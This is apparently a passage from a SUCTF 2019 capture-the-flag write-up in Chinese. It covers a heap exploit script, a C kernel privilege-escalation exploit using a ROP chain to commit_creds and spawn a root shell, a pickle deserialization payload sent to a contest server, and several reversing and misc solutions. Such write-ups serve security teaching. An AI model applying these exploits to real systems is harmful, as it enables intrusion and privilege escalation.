comment(1, 'b'*0x8c, 0)

purchase(0x14, '3'*0x10) #3
purchase(0x14, '4'*0x10) #4


throwit(2)
throwit(3)


purchase(0x34, 'aaaa') #2
payload = 'b'*0xf8
payload += p32(0x100)
purchase(0x104, payload) #3
purchase(0xf4, 'cccc') #5

payload = '!'*0x28
payload += p32(0) + p32(0x41)
purchase(0x34, payload) #6

throwit(2)
throwit(3)
payload = 'a'*0x34
purchase(0x34, payload) #2

purchase(0x60, 'bbbb') #3
payload = 'd'*8
payload += p32(0) + p32(0x39)
purchase(0x34, payload) #7
purchase(0x3c, '.'*0x30) #8


throwit(7) #get victim

throwit(3)
throwit(5) #merge

payload = 'a'*0x60
payload += p32(0) + p32(0x19)
payload += p32(0)*4
payload += p32(0) + p32(0x39)
payload += p32(heap_base + 0x308)
purchase(0x90, payload) #3

throwit(4)


fake_jump = heap_base + 0x318

fake_stdout = 'sh\x00\x00' + p32(0x31) + p32(0xdeadbeef)*2
fake_stdout += p32(0) + p32(1) + p32(0xc0)*2
fake_stdout += p32(0) + p32(0)*3
fake_stdout += p32(0) + p32(0) + p32(1) + p32(0)
fake_stdout += p32(0xffffffff) + p32(0) + p32(libc_base+0x1b3870) + p32(0xffffffff)
fake_stdout += p32(0xffffffff) + p32(0) + p32(libc_base + 0x1b24e0) + p32(0)
fake_stdout += p32(0)*2 + p32(0) + p32(0)
fake_stdout += p32(0)*4
fake_stdout += p32(0)*4
fake_stdout += p32(0) + p32(fake_jump)

payload = p32(0)*2
payload += p32(0) + p32(0x39)
payload += '\x00\x00\x00'
purchase(0x34, payload) #5

payload = p32(0) + p32(0x169)
payload += p32(libc_base + 0x1b27b0) + p32(io_list_all - 0x8)
purchase(0x34, payload) #7

payload = p32(0)*2 + p32(system)*4*2 + p32(system)*2
payload += fake_stdout

#dbg()

menu(1)
io.sendlineafter('length: ', str(352))
io.sendlineafter('Name: ', payload)
io.sendlineafter('Price: ', str(1))

menu(2)
io.sendline('5')
success('libc base: '+hex(libc_base))
success('heap base: '+hex(heap_base))

sh()

sudrv

溢出 改栈 rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define CRED_SIZE 168
//0xFFFFFFFF819ED1C0 copy_user_generic_unrolled proc near
//0xffffffff810c8d2f: mov rdi, rcx; sub rdi, rdx; mov rax, rdi; ret;
//0xffffffff81174b83: mov rcx, rax; pop r12; pop r13; mov rax, rcx; ret;
//0xFFFFFFFF81081790: prepare_kernel_cred
//0xFFFFFFFF81081410: commit_creds
//0xffffffff81001388: pop rdi; ret;
//0xffffffff81043ec8: pushfq; ret;
//0xffffffff81044f17: pop rdx; ret;
//0xffffffff8104e5b1: mov cr4, rdi; push rdx; popfq; ret;
//0xffffffff81a00d5a: swapgs; popfq; ret;
//0xffffffff81021762: iretq; ret;
//0xffffffff81044f17: pop rdx; ret;
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL ;

void (*commit_creds)(void*) KERNCALL ;
void su(){
commit_creds(prepare_kernel_cred(0));
}
void get_shell(void){
puts("shell:");
execve("/bin/sh",0,0);
}

void su_print(int fd)
{
ioctl(fd,0xDEADBEEF);
}

void su_malloc(int fd,int size)
{
ioctl(fd,0x73311337,size);
}
void su_free(int fd)
{
ioctl(fd,0x13377331);
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void get_shell_again(){
puts("SIGSEGV found");
puts("get shell again");
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
int main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
signal(SIGSEGV,get_shell_again);
int fd1 = open("/dev/meizijiutql",O_RDWR);
char format[150]=
"0x%llx0x%llx0x%llx0x%llx0x%llx0x%lx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx\n";
char buf1[100]="aaaaaaaa";
char buf2[100]="bbbbbbbb";
char buf4[100]="cccccccc";
unsigned long long module_base ;
unsigned long long poprdi;
unsigned long long poprdx;
unsigned long long movcr4;
unsigned long long vmbase ;
unsigned long long iretq ;
unsigned long long swapgs ;
unsigned long long movrcxrax;
unsigned long long movrdircx;
unsigned long long rop[0x30];

su_malloc(fd1,CRED_SIZE);
write(fd1,format,150);
su_print(fd1);
//su_print(fd1);
su_free(fd1);
char addr[16];
write(1,"input stack addr above(ffffxxxxxxxxed8-0x88) \n",60);
scanf("%llx",(long long *)addr);
write(1,"input vmlinux addr above(ffffffff8889a268) \n",60);
scanf("%llx",&vmbase);
vmbase = (vmbase -19505768) - 0xFFFFFFFF81000000;// (0xffffffffa4c9a268-0xffffffffa3a00000));
printf("%llx",vmbase);
prepare_kernel_cred = vmbase + 0xFFFFFFFF81081790;
commit_creds = vmbase + 0xFFFFFFFF81081410;
swapgs = vmbase + 0xffffffff81a00d5a;
iretq = vmbase + 0xffffffff81021762;
poprdi = vmbase + 0xffffffff81001388;
poprdx = vmbase + 0xffffffff81044f17;
movcr4 = vmbase +0xffffffff8104e5b1;
movrcxrax = vmbase + 0xffffffff81174b83;
unsigned long long pushrax= vmbase +0xffffffff812599a8;
unsigned long long poprbx = vmbase +0xffffffff81000926;
unsigned long long callrbx = vmbase+0xffffffff81a001ea;
unsigned long long poprbp = vmbase + 0xffffffff810004ee;
printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);
printf("commit_creds:0x%llx \n",commit_creds);
printf("swapgs:0x%llx \n",swapgs);
printf("iretq:0x%llx \n",iretq);
printf("call rbx:0x%llx \n",callrbx);
puts("ready");
while(getchar()!='y') ;
save_stats();
//0xffffffff810004ee: pop rbp; ret;
//0xffffffff810c8d2f: mov rdi, rcx; sub rdi, rdx; mov rax, rdi; ret;
//0xffffffff81174b83: mov rcx, rax; pop r12; pop r13; mov rax, rcx; ret;
//0xffffffff829654a7: mov rdi, rbx; call rax;
//0xffffffff8107f537: push rax; pop rbx; ret;
//0xffffffff8101ac0c: pop rax; ret;
//0xffffffff8296b882: mov rdi, rsi; ret;
//0xffffffff81a001ea: mov rdi, r12; call rbx;
//0xffffffff812599a8: push rax; pop r12; pop r13; pop r14; pop r15; ret;
//0xffffffff81000926: pop rbx; ret;
rop[0]=poprdi;
rop[1]=0;
rop[2]=prepare_kernel_cred;
rop[3]=pushrax;
rop[4]=0;
rop[5]=0;
rop[6]=0;
rop[7]=poprbx;
rop[8]=poprdx;
rop[9]=callrbx;
rop[10]=commit_creds;
rop[11]=swapgs;
rop[12]=0x246;
rop[13]=poprbp;
rop[14]=(unsigned long long)rop+0x100;
rop[15]=iretq;
rop[16]= (size_t)&get_shell;
rop[17] = user_cs;
rop[18] = user_eflags;
rop[19] = user_sp;
rop[20] = user_ss;
rop[21] = 0;
char mem[0xc0+0x10];
memset(mem,0x41,0xd0);
memcpy(mem+0xc0,addr,0x10);
write(1,mem,0xd0);
su_malloc(fd1,CRED_SIZE);
write(fd1,mem,0xd0);
su_malloc(fd1,CRED_SIZE);
write(fd1,buf2,100);
su_malloc(fd1,CRED_SIZE);
write(fd1,(char*)rop,180);
su_malloc(fd1,CRED_SIZE);
write(fd1,(char*)rop,180);

/*
close(fd1);
int pid = fork();
if(pid ==0)
{
//set(fd2,buf4,100);
sleep(2);
system("/bin/sh");
//su_malloc(fd1,CRED_SIZE);
//set(fd1,buf2,CRED_SIZE);

}
else
{
char buf3[2*CRED_SIZE];
memset(buf3,0,2*CRED_SIZE);
set(fd2,buf3,2*CRED_SIZE);
//su_malloc(fd1,CRED_SIZE);
//set(fd1,buf2,CRED_SIZE);
}
*/
// close(fd2);
}

Misc

签到题

把 base64 转成图片就行了

有些师傅说字母看不清…其实签到题来源于最近一个比较火的梗…看不清我觉得没多大影响…大不了一个个试试看嘛(手动狗头

game

纯粹是脑洞题,从find my secret 去找前端js里的secret字符串,找到之后得到一张图片,lsb里有加密字符串,用的3des加密,密钥为完成魔方后得到的假flag,本以为会被秒,脑洞实在是太无聊了,(逃

guess_game

pickle 本质是个栈语言, 不同于 json 亦或是 php 的 serialize. 实际上是运行 pickle 得到的结果是被序列化的对象. 这里虽然条件受限, 只能加载指定模块, 但是可以看到 __init.py__game = Game(), 所以只要构造出 pickle 代码获得 guess_game.game, 然后修改 game 的 win_count 和 round_count 即可.
注意如果是 from guess_game import game, 然后修改再 dumps 这个 game 的话, 是在运行时重新新建一个 Game 对象, 而不是从 guess_game 这个 module 里面获取. 所以这里必须手写/更改一下 dumps 生成的 pickle,

然后注意

1
2
3
ticket = restricted_loads(ticket)

assert type(ticket) == Ticket

所以还需要栈顶为一个 Ticket, 这比较方便, 可以 dumps 一个 Ticket 拼到之前手写的后面就可以了.

dockerfile: https://github.com/rmb122/suctf2019_guess_game/
ref: https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
import socket
import struct

s = socket.socket()
s.connect(('47.111.59.243', 8051))

exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

s.send(struct.pack('>I', len(exp)))
s.send(exp)

print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))

homerouter

题目的附件给出的是一个固件文件,提取文件系统后我们可以发现是OpenWrt。结合题目名称和/etc/config/easycwmp文件,查阅一下资料后我们可以发现这道题的内容和tr069有关,相信家里用电信光猫的同学应该不陌生,这个东西具体是用来干什么的这里就不做赘述了。当明白了这道理的考察点之后后续工作就不算困难了,一种做法是找一个OpenWrt的路由器模拟出环境,将固件中存在的和easycwmp相关的配置文件添加到模拟环境中即可,只是这样需要硬件设备支持。实际上我们打开easycwmp项目可以发现完全可以在x86环境下编译运行,官方给出了也较为详细的编译指南。编译成功后同样将固件中的配置文件添加进来,使用前台log模式即可发现,ACS服务器下发了一个修改系统root密码的指令,而密码就是该题的flag:Hello_tr_069_Protocol

protocol

打开pcapng文件后我们可以发现这是一段USB流量,观察一些流量我们可以发现出现了opendeck字符串和一个假的flag,结合开源的提示我们可以找到两个项目opendeck-linuxopendeck-gui,注意有一个同名的项目不要搞错了。大致观察下这两个项目的代码,我们可以发现题目给出的流量正是gui项目所读取的流量。

kernel运行在一个连接触摸屏的Linux设备上,而gui项目一方面解析经过USB发来的信息,将一些png图片显示触摸屏上,一方面响应触摸屏上的输入信息,并将输入信息发到USB对端。在源码中我们可以发现该程序的运行原理是:对端一次性发送15张png图片,每一张图片是一个字符,按照数据部分第3个字节表示的数字显示在屏幕上;接下来读取触摸屏上输出的点击信息,如果点击正确那么对端发来一张空图片覆盖掉点击位置(可以理解为清空该位置图像),等到该组中有10个字符消失后开始下一组。整个流量中包含了5组上述过程。

知道程序的大致运行原理了后该题就不难了,首先将流量包中的png图片全部提取,接下来用tshark将leftover data提取出来,解析位置信息就可以得到每次点击的字符。将所有的字符连起来即可得到flagsuctf{My_usb_pr0toco1_s0_w3ak}

Rev

hardCpp

比较简单,签到的…
exp如下

1
2
3
4
5
6
7
8
9
10
11
for (int i = 1; i < 21; i++) {
unsigned char c;
c = input[i] ^ (char)times;
c = c_add(c)(c_mod(input[i - 1 + times])(7));
//c += flag[i - 1] % 7;
c = c_xor(c)(c_add(c_mul(c_xor(input[i - 1 + times])(0x12))(3))(2));
//c ^= (3 * (flag[i - 1] ^ 0x12) + 2);
if (enc[i - 1] != c) {
exit(0);
}
}

里面有个时间反调,要求必须时间差必须为0
1
2
3
4
if(times > 0){
puts("Let the silent second hand take the place of my doubt...");
exit(0);
}

时间差会被加在数组下标里,然而因为预期是0,所以没什么影响

rev

程序用IDA打开很复杂

一开始用boost::tokenizer切割字符串

输入形如aaaa-bbbbb-cccccc,中间的特殊符号会被认为是分隔符,然后获得这三个std::string,分别check

第一个,res[0],要求长度是10,然后经过

boost::trim_left_copy_if(res[0], boost::is_any_of("1"))

这句话是把这个字符串左边的1全部去掉

进入一个循环,要求每个字符异或0xab后和数组相同,长度要求是5,也就是说一开始被去掉了五个1

于是输入的第一段是11111suctf

第二个,res[1],

((res[1].length() == 4) &&

(boost::all(res[1],boost::is_from_range('a','g')

|| boost::is_from_range('A', 'G'))))

长度是4,每个字符都是[A-Ga-g]

经过boost::to_upper要求和原string相同,这表明输入的4个字符都是大写字母

限制范围在[A-G]了

要求4个字符的数值递增,步长为2,

那么只能ACEG

也就是第二个的输入

第三个,res[2]

通过boost::all(res[2],boost::is_digit())判断要求都是数字,小于10位,转成int,记作sum

要求(sum % 2 == 0) && (func(sum) == -1412590079) && (func2(sum) == 305392417)

如果不加第一个%2==0的条件,会有三个结果31415925 31415926 31415927

这样下来只有一个结果31415926

int范围内只有这一个符合要求

也就是第三个输入

那么输入就形如11111suctf-ACEG-31415926

输出为 suctf{ACEG31415926}
You win!

Akira Homework

程序是一个Windows下的程序,开始的时候会要求输入密码。

1
2
3
4
[+]======================[+]
[+] Akira's Homework 2nd [+]
[+]======================[+]
[=] My passwords is:

分析可以直接使用ida对程序逻辑进行分析。从程序的某些迹象中可以发现,大部分的字符串似乎都被加密了。并且当用调试器连接的时候,程序会直接强行关闭,程序运行时间长也会自行关闭。解决方案可以是Patch程序的反调试逻辑等。这边提出的解决方案是使用dmp的方式结合着分析程序,这样能够提高解答的速度。通过dmp的方式,能够找到程序的第一个输入点:
1
2
3
4
for( i=0; i < 0x6c; ++1)
Str[i] ^= byte_7ff766972AE0[0]
puts(Str)
sub_7FF76959C80("%18s", &v4, 19i64);

直接逆向这一段,能够找到程序当前使用的密钥为:
1
Akira_aut0_ch3ss_!

输入这段逻辑,此时会发现程序提示
1
Have no sign!

返回程序检查,会发现有一个check逻辑int sub_7FF682FC93B0(),里面检查了一个叫做Alternate Data Streams的东西,并且将这个数据做了一次md5签名检查,通过查询可以查到签名内容为
1
Overwatch

exe加上Alertable Data Streaming之后,就能够通过检测。在刚刚的提示框后,会要求输入第二次答案,这个答案才是flag:
1
Now check the sign:

dmp下程序后,会发现还有一个dll也藏在进程中。将DLL取出逆向,观测可知,其尝试打开了一个ShareMemory,并且读出了里面的内容,传入了函数sub_180011136。所以这里猜测,在这个程序运行的过程中,在主线程中必定也存在一个对称操作。于是检查原先的exe,找到调用MapViewOfFile的周围
1
2
3
4
.text:000000014000771F                 mov     [rsp+0B8h+Src], 7Ch
.text:0000000140007727 mov [rsp+0B8h+var_2F], 45h
.text:000000014000772F mov [rsp+0B8h+var_2E], 38h
...

如果使用了工具分析这个dmp下来的dll,会发现其中有一个类似AES算法的东西,也就是这个sub_180011136函数的。最终可以解得flag为:
1
flag{Ak1rAWin!}

吐槽:题目没有设计好,导致DLL的解密逻辑好像很容易被找出来,结果很多师傅似乎拿到第一个key之后直接就解开了dll。。。本意是想让大家了解一下Windows下的ADS作为签名的用途的。果然还是出题人太菜了

SignIn

使用了gmp大数库实现了一个简单的rsa,题目中只有N e,由于N不是很大,可以直接分解,得到p q,然后生成d,即可解出flag

babyunic

先放上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <unicorn/unicorn.h>
#include <string.h>
#include <math.h>
#include <sys/ptrace.h>
#include <stdio.h>

#define ADDRESS 0x400000
#define STACK 0x10000000
#define SZ 0x200000

int flagenc[50] =
{
0x94ffffff,0x38ffffff,0x26010000,0x28ffffff,0x10fcffff,0x94020000,0x9efcffff,0xea060000,0xdc000000,0x6000000,0xcffffff,0xf6fdffff,0x82faffff,0xd0fcffff,0x82010000,0xde030000,0x4e010000,0xb2020000,0xd8f8ffff,0x74010000,0xa6faffff,0xd4f9ffff,0xc2010000,0x7cf9ffff,0x5a030000,0x46010000,0x3cffffff,0x14faffff,0xce010000,0xdc070000,0x48fdffff,0x98000000,0x5e080000,0xb0fdffff,0xbcffffff,0x6e030000,0x4effffff,0x36f8ffff,0xc0050000,0xae060000,0x94060000,0x22000000
};

int calc(char * input,char * output,char * filename)
{


uc_engine *uc;
FILE * file = fopen(filename,"rb");
unsigned char * opc = malloc(0x7100);
fread(opc,1,0x7100,file);

int sp = STACK + SZ - 0x40;
int fp = STACK + SZ - 0x40;
int a0 = STACK + SZ - 0x500;
int a1 = STACK + SZ - 0x600;

uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN, &uc);

uc_mem_map(uc, ADDRESS, SZ, UC_PROT_ALL);
uc_mem_map(uc, STACK, SZ, UC_PROT_ALL);
uc_mem_write(uc , a0,input,strlen(input));
uc_mem_write(uc, ADDRESS,opc, 0x7100);

uc_reg_write(uc, UC_MIPS_REG_SP, &sp);
uc_reg_write(uc, UC_MIPS_REG_FP, &fp);
uc_reg_write(uc, UC_MIPS_REG_A1, &a1);
uc_reg_write(uc, UC_MIPS_REG_A0, &a0);

uc_emu_start(uc, ADDRESS, ADDRESS + 0x7070 - 4, 0, 0);
uc_mem_read(uc, STACK + SZ - 0x600,output,200);

uc_close(uc);
fclose(file);
}

void __attribute__((constructor)) check()
{
if(ptrace(0,0,0,0)==-1)
exit(0);
}

int main(int argc,char *argv[])
{
if(argc == 2)
{
puts("SUCTF 2019");
printf("input your flag:");
char * output = malloc(0x200);
char * input = malloc(0x200);
scanf("%50s",input);
calc(input,output,argv[1]);
if(!memcmp(output,flagenc,168))
{
puts("congratuation!");
}
else
{
puts("fail!");
}
}
else
{
puts("no input files");
}
}

出这个题的原因是最近在看各种奇奇怪怪的fuzz,8月初平安银河实验室推了一个基于libfuzzer和unicorn模拟执行的fuzzing工具,是利用了unicorn来进行模拟执行,然后利用libfuzzer提供的__libfuzzer_extra_counters接收覆盖率,进行数据的变异等操作
出题的时候使用的是mips-linux-gnu-gcc在ubuntu1604下编译出的一个大端序的mips32,这里编写了一个类似void func(char * in,char * out)的函数,因为unicorn对于原生函数的调用的支持不是很好,所以这个函数里面没有用到库函数以及系统调用
函数里设置了一个位运算,以及一个42元方程,函数运行后会返回方程的值,这里的值也是大端序的,然后进行比较.题目无混淆无花,模拟执行的算法也是很基础的,事先也给了依赖库,目的是想让各位师傅们了解一下这个神奇的模拟引擎(希望我不是最后一个知道的),在出题的过程中也发现了一个问题就是z3对于这个42元方程的速度异常的慢.
这个场景下的unicorn感觉可以用在iot的fuzz上,不过要注意的是这东西毕竟是模拟执行,所以效率不是很高

解题思路就是学一波unicorn,然后根据uc_open函数参数的值找到要模拟字节码的架构,然后使用对应的反编译工具对func文件进行逆向,dump出大端序的res,用求解器算出flag

Crypto

详情见 Writeup.html